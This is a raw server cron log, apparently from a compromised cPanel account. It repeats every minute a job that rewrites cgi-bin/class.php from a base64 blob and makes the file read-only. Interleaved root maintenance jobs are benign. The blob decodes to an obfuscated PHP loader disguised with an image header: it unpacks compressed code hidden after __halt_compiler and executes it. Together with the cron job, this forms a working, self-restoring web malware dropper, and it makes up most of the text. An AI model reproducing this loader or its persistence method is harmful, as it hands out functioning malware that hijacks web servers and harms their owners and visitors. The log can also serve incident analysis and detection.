&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:59:01 server CROND[13508]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:00:01 server CROND[14376]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:00:01 server CROND[14378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:00:01 server CROND[14377]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 07:00:01 server CROND[14379]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:01:01 server CROND[15207]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 07:01:01 server CROND[15209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:01:01 server run-parts(/etc/cron.hourly)[15207]: starting 0anacron
Nov 14 07:01:01 server run-parts(/etc/cron.hourly)[15219]: finished 0anacron
Nov 14 07:02:01 server CROND[16077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:03:01 server CROND[17021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:04:01 server CROND[17876]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:05:01 server CROND[18394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:05:01 server CROND[18393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:05:01 server CROND[18395]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 07:05:01 server CROND[18396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:06:01 server CROND[19356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:07:01 server CROND[20228]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:08:01 server CROND[20916]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:09:01 server CROND[21381]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:09:01 server CROND[21382]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 07:10:01 server CROND[22242]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:10:01 server CROND[22243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 07:10:01 server CROND[22245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:10:01 server CROND[22244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
